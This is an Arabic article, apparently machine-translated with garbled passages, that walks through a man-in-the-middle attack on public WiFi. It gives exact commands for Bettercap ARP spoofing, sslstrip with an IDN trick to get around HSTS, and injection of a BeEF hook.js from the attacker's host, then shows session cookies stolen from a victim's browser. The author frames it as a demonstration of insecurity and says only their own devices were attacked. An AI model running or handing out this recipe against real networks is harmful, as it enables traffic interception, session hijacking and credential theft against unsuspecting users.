فتح حركة المرور في الشبكات العامة





تتناول هذه المقالة كيفية أن تصبح أكثر برودة (أو Script Kiddie) - مهاجم شرطي يفتقر إلى المعرفة البرمجية ويستخدم البرامج الحالية لشن هجوم على الهواتف الذكية والأجهزة اللوحية الخاصة بزملائه في الفصل.



أنا فقط أمزح. في الواقع ، واجهت مهمة فهم شيئين:



  1. WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
  2. ( ) “” .


وفي المفسد يوجد جناح:

  1. نعم ، خطير!
  2. قد يكون جيدا




يجب أن أقول على الفور أنه على الرغم من أن بعض تجاربي أجريت على شبكات عامة حقيقية ، إلا أنني حصلت على "وصول غير قانوني" إلى متصفحات أجهزتي الخاصة. لذلك ، في الواقع ، لم أنتهك الفصل 28 من القانون الجنائي للاتحاد الروسي ، وأنصحك بشدة بعدم انتهاكه. تم عرض هذه التجربة والمقال للمراجعة فقط لإثبات عدم الأمان في استخدام الشبكات اللاسلكية العامة.



إذن ، ما هي المشكلة الفعلية للمخترق إذا كان من السهل اعتراض حركة المرور في الشبكات اللاسلكية المفتوحة بواسطة أي متلصص؟ تكمن المشكلة في أنه في عام 2020 ، تستخدم جميع المواقع (99٪) تقريبًا HTTPS وتقوم بتشفير كل تبادل البيانات بين الخادم ومتصفح "الضحية" المحتملة بمفتاح فردي باستخدام بروتوكول TLS حديث إلى حد ما... يتيح TLS لتطبيقات الخادم والعميل الاتصال على الشبكة بطريقة لا يمكنها الاستماع إلى الحزم وإجراء وصول غير مصرح به. بتعبير أدق ، يمكنك الاستماع ، لكن لا معنى لذلك ، لأن حركة المرور المشفرة بدون مفتاح لا تفيد في فك تشفيرها.



علاوة على ذلك ، تطبق جميع المتصفحات الحديثة آلية HSTS (أمان نقل HTTP الصارم) ، والتي تنشط قسراً اتصالاً آمنًا عبر بروتوكول HTTPS وتنهي اتصال HTTP بسيطًا. تتيح لك سياسة الأمان هذه إنشاء اتصال آمن على الفور بدلاً من استخدام بروتوكول HTTP. يستخدم المحرك رأس خاصStrict-Transport-Security لفرض المتصفح على استخدام HTTPS حتى عند اتباع الروابط التي تحدد بشكل صريح HTTP (http: //). لا يحمي HSTS الأصلي اتصال المستخدم الأول بالموقع ، مما يترك ثغرة للمتسللين ، ويمكن للمهاجم بسهولة اعتراض الاتصال الأول إذا كان عبر http. لذلك ، لمكافحة هذه المشكلة ، تستخدم معظم المتصفحات الحديثة قائمة ثابتة إضافية بالمواقع (قائمة التحميل المسبق HSTS) التي تتطلب استخدام بروتوكول https.



من أجل اعتراض كلمات المرور التي تم إدخالها بطريقة أو بأخرى أو سرقة ملفات تعريف الارتباط الخاصة بالضحية ، تحتاج بطريقة ما إلى الدخول إلى متصفح الضحية أو التأكد من عدم استخدام بروتوكول تشفير TLS. سنفعل كلا الأمرين في وقت واحد. للقيام بذلك ، سوف نستخدم طريقة هجوم man-in-the-middle ."(MitM). سأحجز أن هجومنا سيكون منخفض الدرجة إلى حد ما ، لأننا سنستخدم "مُنشئات نصف منتهية" جاهزة عمليًا من مجلة Hackney Sam دون أي تعديل. المتسللون الحقيقيون مسلحون بشكل أفضل ، ونحن نلعب فقط دور kulkhatskers ذوي المهارات المنخفضة لتوضيح درجة انعدام الأمن في الشبكات اللاسلكية العامة الحديثة.



حديد



كمجموعة أدوات للتجربة ، استخدمت مجموعة الأدوات التالية:



  • أي شبكة WiFi عامة في ردهة الطعام
  • النت بوك ايسر اسباير وان D270
  • بطاقة واي فاي مدمجة اثيروس AR5B125
  • محول واي فاي يو اس بي خارجي واي فاي تي بي لينك آرتشر T4U v3.0
  • محول واي فاي USB خارجي TP-LINK Archer T9UH v2.0
  • Kali Linux مع إصدار kernel 5.8.0-kali2-amd64
  • Bettercap v2.28 framework
  • إطار BeEF 0.5
  • العديد من الهواتف الذكية والأجهزة اللوحية التي تعمل بنظام Android 9 وأجهزة الكمبيوتر المحمول التي تعمل بنظام Windows 7 كأجهزة ضحية.


لماذا يوجد الكثير من بطاقات الواي فاي؟ نعم ، لأنني في عملية التجارب داس على حفنة من المكابس وحاولت توفير المال. اتضح أن بطاقة WiFi الجيدة هي الأداة الرئيسية للمهاجم الناجح. هناك عدد من المشاكل: يجب أن تدعم البطاقة نقاط الوصول والمراقبة (AP) ، ويجب أن تحتوي على برامج تشغيل لإصدار Linux kernel الخاص بك ، ويجب أن تحتوي البطاقة على هوائي جيد والقدرة على التحكم في قوة الإشارة. إذا كنت لا تريد أشعل النار إضافيًا ، فاخذ محولًا باهظًا من أعلى هذه القائمة ولا تنس التحقق من توفر برنامج تشغيل خصيصًا لمراجعة أجهزتك للبطاقة.



تتمتع بطاقة Atheros AR9485 المدمجة بدعم ممتاز لجميع الأوضاع وسائق خارج الصندوق في Kali ، لكن عدم القدرة على التحكم في قوة الإشارة والهوائي الضعيف أدى إلى إبطال فعالية هذه البطاقة أثناء مرحلة التداخل النشط.



لم يكن لدى WiFi TP-LINK Archer T4U v3 برنامج تشغيل خارج الصندوق ، والبرنامج الذي وجدته على Github لم يكن لديه دعم وضع نقطة الوصول (AP) وكان لابد من تجميعه بمفرده.



عملت بطاقة TP-LINK Archer T9UH v2 بشكل مثالي مع السائق خارج الصندوق ، وقد فعلت ذلك.



البرمجيات





أول شيء فعلته هو تثبيت Kali Linux 5.8.0 على الكمبيوتر المحمول الخاص بي. كان SSD الوحيد في الكمبيوتر المحمول فارغًا ومخصصًا بالكامل للتجربة ، مما وفر لي بعضًا من متاعب التقسيم والنسخ الاحتياطي للبيانات القديمة منه ، لذلك استخدمت جميع الخيارات الافتراضية أثناء التثبيت. ما زلت أواجه بعض المشكلات البسيطة مثل فقدان حامل USB مع مجموعة التوزيع أثناء التثبيت وتحديث النظام إلى أحدث إصدار حالي من المستودع.





ثم كان من الضروري إطلاق أدوات الاختراق ، والتي ستكون Bettercap و BeEF. بمساعدتهم ، سوف نجبر متصفحات "الضحايا" على رفض تشفير حركة المرور وضخ Trojan JavaScript في المواقع التي يزورونها.



Bettercapهي أداة وإطار عمل كامل وقابل للحمل وقابل للتوسيع بسهولة مع جميع أنواع الوظائف التشخيصية والهجومية التي قد تحتاجها لتنفيذ هجوم man-in-the-middle. تمت كتابة Bettercap في Go ، وقد تم التطوير الرئيسي للمشروع حتى عام 2019 ، والآن لا يوجد سوى إصلاحات طفيفة. ومع ذلك ، كما سنرى لاحقًا ، تظل هذه الأداة في عالم أمن المعلومات سريع التغير ذات صلة بنهاية عام 2020. يأتي Bettercap مع وحدتي arp spoof و sslstrip مدمجتين. إنه Bettercap الذي يعترض حركة المرور ويضخ حمولة ضارة فيها.



SSlstrip هو خادم وكيل متخصص يسمح لك بتنظيم إحدى طرق تجاوز HTTPSلاعتراض حركة المرور ، يتم تقسيم جلسة المستخدم إلى قسمين. سيتجاوز القسم الأول من العميل إلى الخادم الوكيل بروتوكول HTTP ، وسيمر القسم الثاني ، من الوكيل إلى الخادم ، كما ينبغي ، عبر اتصال مشفر. يسمح لك SSLstrip بتقسيم جلسة الضحية إلى جزأين واعتراض حركة المرور لمزيد من التحليل ، بالإضافة إلى توفير عمليات إعادة توجيه تلقائية لتوائم صفحات HTTP التي تم إنشاؤها ديناميكيًا .



محاكاة ساخرة ARPيعترض الحزم على شبكة محلية سلكية أو لاسلكية مبدلة. يعيد arpspoof توجيه الحزم من مضيف هدف (أو جميع المضيفين) على شبكة مخصصة لمضيف آخر على تلك الشبكة عن طريق انتحال استجابات ARP. هذه طريقة فعالة للغاية لاستنشاق حركة المرور على مفتاح أو جهاز توجيه wifi.



BeEF هو إطار يسمح لك بإدارة مجموعة من العملاء المصابين بشكل مركزي من خلال هجوم XSS (البرمجة النصية عبر المواقع) ، وإصدار الأوامر لهم والحصول على نتيجة. يقوم "المهاجم" بحقن النص hook.js في الموقع المعرض للخطر. يشير البرنامج النصي hook.js من متصفح الضحية إلى مركز التحكم على كمبيوتر المهاجم (BeEF) إلى أن العميل الجديد متصل بالإنترنت. يدخل "مهاجم" إلى لوحة تحكم BeEF ويتحكم عن بُعد في المتصفحات المصابة.



لقد استخدمت الإصدارين Bettercap v2.28 و BeEF 0.5 وكلاهما مضمن بالفعل في Kali Linux 5.8.0

افتح نافذة موجه الأوامر وأدخل الأمر



sudo beef-xss




يبدأ الجزء الأول من شطيرةنا الخبيثة - إطار BeEF.



الآن لنبدأ تشغيل المتصفح (عادةً Firefox في Kali Linux) ، انتقل إلى العنوان http://127.0.0.1:3000/ui/pannel ، تسجيل الدخول الافتراضي وكلمة المرور لحم البقر: لحم البقر ، وبعد ذلك نصل إلى نقطة التحكم في هجومنا.





اترك علامة التبويب BeEF مفتوحة ، وسنعود إليها لاحقًا.



دعنا ننتقل إلى الجزء الثاني من الشطيرة - Bettercap. كان هناك مأزق هنا - Bettercap ، التي كانت موجودة بالفعل في النظام ، رفضت البدء بالخدمة وقدمت أخطاء أخرى لم أفهمها. لذلك ، قررت إزالته وإعادة تثبيته يدويًا. افتح نافذة موجه الأوامر وقم بتنفيذ الأوامر:



sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap


ثم نقوم بتنزيل الإصدار الثنائي من Bettercap v2.28 في الأرشيف في مجلد التنزيل باستخدام المتصفح . يرجى ملاحظة أنني اخترت الإصدار الخاص بهندسة النواة الخاصة بي.



نقوم الآن بفك ضغط الملف القابل للتنفيذ ووضعه في نظام Bettercap في مجلد مخصص للتثبيت اليدوي.



d  
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/


أسهل طريقة لبدء استخدام Bettercap هي استخدام واجهة مستخدم الويب الرسمية . تعمل واجهة الويب في وقت واحد مع خدمة API المتبقية وجلسة سطر أوامر تفاعلية. لتثبيت واجهة الويب ، تحتاج إلى تشغيل الأمر:



sudo bettercap -eval "caplets.update; ui.update; q"


انتباه! بالفعل في هذه المرحلة ، من الضروري الاتصال بالشبكة اللاسلكية التي تعرضت للهجوم والحصول على عنوان IP للواجهة اللاسلكية للجهاز المهاجم وتذكره ( ifconfigسيساعد الأمر في اكتشافه).



تتفهم شركة Bettercap كلاً من أوامر سطر الأوامر الفردية والأقراص الصغيرة. كابليت هو ببساطة ملف نصي يحتوي على قائمة من الأوامر التي سيتم تنفيذها بالتتابع. يتم استخدام كابليت http-ui لتشغيل واجهة الويب. يمكنك عرض بيانات الاعتماد الافتراضية وتغييرها فيه على طول المسار /usr/local/share/bettercap/caplets/http-ui.cap. يتم تنفيذ تشغيل Bettercap مع وحدات واجهة الويب api.rest و http.server 127.0.0.1 بواسطة الأمر



sudo bettercap -caplet http-ui




يمكنك الآن فتح علامة تبويب أخرى في المتصفح بالعنوان 127.0.0.1 (بدون رقم المنفذ!) وتسجيل الدخول باستخدام بيانات الاعتماد التي تم التجسس عليها أو تكوينها في الخطوة السابقة (عادةً مستخدم / تمرير ).





واجهة الويب Bettercap مكررة تماما سطر الأوامر، لذلك كل الإجراءات التي سنفعل من سطر الأوامر كما يمكن القيام به من واجهة الويب (إطلاق وحدات، وتغير وسائل، وعرض تغيير قيمة المتغيرات، وعرض معلومات التشخيص)



الاستمرار في سطر الأوامر وإجراء الأولي استكشاف الشبكة اللاسلكية التي نتصل بها بالفعل كعميل منتظم.



net.recon on
net.probe on
Net.show
net.recon off


net.recon on - يبدأ في اكتشاف مضيفي الشبكة.

net.probe on - يبدأ تحقيقًا نشطًا للمضيفين الجدد على الشبكة عن طريق إرسال حزم زائفة إلى كل عنوان IP محتمل في الشبكة الفرعية.

net.show - يعطي الأمر لعرض قائمة بالذاكرة المؤقتة للمضيفين المكتشفين .

net.probe off - لإيقاف تشغيل وحدة الفحص النشطة.

نقوم بتكوين متغيرات Bettercap بحيث:



  • عملت كوكيل شفاف و "عطلت" تشفير تبادل المتصفح لـ "الضحايا" بواسطة وحدة sslstrip ،
  • حقنها بحمل ضار (http://192.168.0.103/hook.js - برنامج BeEF ، استخدم عنوان IP الصادر من جهاز التوجيه إلى المحول الخاص بك في الشبكة التي تعرضت للهجوم) ،
  • تجاوز آلية HTST عن طريق استبدال العنوان في شريط عنوان متصفح الضحية بأحرف دولية مماثلة.


الأوامر:



set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true


ثم نقوم بشن هجوم ضد مستخدمي اللاسلكي:

الأوامر



arp.spoof on
http.proxy on




arp.spoof on - يبدأ في إفساد ذاكرة التخزين المؤقت لـ ARP لأجهزة "الضحايا" ، تعيد هذه الوحدة توجيه حركة المرور إلى الواجهة اللاسلكية لـ

http.proxy on "المهاجم" - يبدأ وكيلاً شفافًا ، تنشئ هذه الوحدة خادمًا وكيلاً يلتقط كل حركة المرور المعاد توجيهها وتعديلها لتناسب "دخيل".

يبدأ "الضحايا" في استخدام الإنترنت ، والانتقال إلى مواقع الويب ، وإذا نجحت الهجمات ، فسيتم حرمانها من تشفير النقل (مما يعني أنها ستكون متاحة للاستماع المباشر من قبل أي متشمم) وستتلقى نصًا خبيثًا من BeEF. يمكن للنص البرمجي BeEF ، المنفذ في سياق المجال الذي تم تضمينه فيه ، تنفيذ العديد من الإجراءات المختلفة ، على سبيل المثال ، سرقة ملفات تعريف الارتباط أو سرقة كلمات المرور التي تم إدخالها.





كما يليق بشطيرة مصنوعة على عجل ، لن ينجح الهجوم في جميع المواقع. على سبيل المثال ، من المستبعد جدًا شن هجوم بأحد مواقع Google ، نظرًا لأن المتصفح يحتوي بالفعل على قائمة HSTS للتحميل المسبق لبعض المواقع. ولكن اتضح أنه من الممكن "اختطاف" Rambler أو Coub.com! إذا طلبنا من "الضحية" (الهندسة الاجتماعية ، أين يمكننا الذهاب بدونها) لفتح عنوان Ro.ru ، أو فجأة فعلت ذلك بنفسها ، فهذا ما يحدث:







كل حركة مرور الضحية إلى موقع rambler.ru تنتقل عبر الهواء بنص واضح ويمكن لأي شخص أن يستمع إليها. أثناء وجود "الضحية" في المتصفح ، لن تكون هناك علامات تدل على وجود مشكلة تقريبًا ، باستثناء مثلث غير واضح وشخصية غريبة أخرى في نهاية شريط العناوين.





وفي الوقت نفسه ، على جهاز "المهاجم" في لوحة التحكم في إطار عمل BeEF ، في قسم المتصفحات عبر الإنترنت ، سيظهر إدخال حول متصفح جديد تم اكتشافه في مأزق. حدد هذا المستعرض بالماوس ، وانتقل إلى علامة التبويب الفرعية Commands ، إلى دليل Browsers ، ثم على التوالي ربط المجال → Get Cookie → Execute





مرة واحدة وبضع نقرات بالماوس ، سرقنا ملفات تعريف ارتباط جلسة Rambler.ru من الضحية. الآن يمكننا محاولة إدخالها في متصفحنا والدخول في جلسة الضحية. وهذا مجرد قمم! ولكن في ترسانة BeEF لا يزال هناك عدة مئات من "الأوامر" المختلفة التي يمكننا إرسالها إلى المتصفح "الذي تم اكتشافه": خيارات التصيد المختلفة ، وسرقة كلمات المرور ، وعمليات إعادة التوجيه ، وعمليات إعادة التوجيه ، وعمليات الاستغلال ...



الاستنتاجات



نتائج التجربة مخيبة للآمال. لا تزال المتصفحات غير قادرة على حماية المستخدمين بنسبة 100٪ من العبث بحركة المرور أو استبدال هذا الموقع بالتصيد الاحتيالي. تعمل آلية HSTS فقط مع بضعة آلاف من المواقع الأكثر شهرة وتترك الملايين من المواقع الأخرى بدون حماية موثوقة. المتصفحات ليست واضحة بما يكفي للتحذير من أن الاتصال بالخادم غير مشفر. يزداد الوضع سوءًا في الشبكات اللاسلكية ، حيث يريد أي شخص الوصول إلى وسيط نقل البيانات ، بينما لا يتحقق أي من المستخدمين على الإطلاق من صحة نقطة الوصول نفسها ، ولا توجد طرق موثوقة لمصادقة نقاط الوصول ببساطة.










All Articles